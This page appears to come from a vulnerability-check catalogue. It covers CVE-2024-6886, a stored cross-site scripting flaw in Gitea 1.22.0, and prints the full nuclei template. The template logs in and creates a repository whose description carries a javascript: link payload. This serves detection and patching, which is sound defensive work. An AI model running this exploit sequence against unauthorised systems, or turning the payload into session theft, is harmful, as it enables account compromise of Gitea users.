CVE-2024-6886· gitea / gitea· CWE-79
Gitea 1.22.0 - Cross-Site Scripting
mediumseverity
6.7CVSS score
33%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
Impact
Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.
Fix
Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.
How to confirm it
Send: POST /user/login ; GET / ; GET /{{username}} ; POST /repo/create
Positive when: contains in body_5 "<a href=\"javascript:alert(document.domain)\">XSS</a>" and "gitea" AND contains in header_5 "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-6886 -u <target>
The full check
id: CVE-2024-6886
info:
name: Gitea 1.22.0 - Cross-Site Scripting
author: soonghee2
severity: medium
description: |
Gitea 1.22.0 is vulnerable to a Stored Cross-Site Scripting (XSS) vulnerability. This vulnerability allows an attacker to inject malicious scripts that get stored on the server and executed in the context of another user's session.
impact: |
Authenticated attackers can inject malicious JavaScript into repository descriptions that executes in the context of other users' sessions when they view the repository.
remediation: |
Update Gitea to version 1.22.1 or later to address the stored XSS vulnerability.
reference:
- https://www.exploit-db.com/exploits/52077
- https://nvd.nist.gov/vuln/detail/CVE-2024-6886
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L
cvss-score: 6.7
cve-id: CVE-2024-6886
cwe-id: CWE-79
epss-score: 0.32968
epss-percentile: 0.98371
cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 4
vendor: gitea
product: gitea
tags: cve,cve2024,gitea,xss,authenticated,vuln
variables:
username: "{{username}}"
password: "{{password}}"
http:
- raw:
- |
POST /user/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
user_name={{username}}&password={{password}}
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
GET /{{username}} HTTP/1.1
Host: {{Hostname}}
- |
POST /repo/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
repo_name={{randstr}}&description=<a%20href="javascript:alert(document.domain)">XSS</a>&_csrf={{csrf_token}}&uid={{uid_name}}
- |
GET /{{username}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body_5
words:
- '<a href="javascript:alert(document.domain)">XSS</a>'
- 'gitea'
condition: and
- type: word
part: header_5
words:
- text/html
- type: status
status:
- 200
extractors:
- type: regex
name: csrf_token
group: 1
regex:
- 'name="_csrf" value="([^"]+)"'
internal: true
- type: regex
name: uid_name
group: 1
regex:
- '"uid":\s*(\d+)'
internal: trueReferences
Use this check only on systems you are authorised to test. Where the data comes from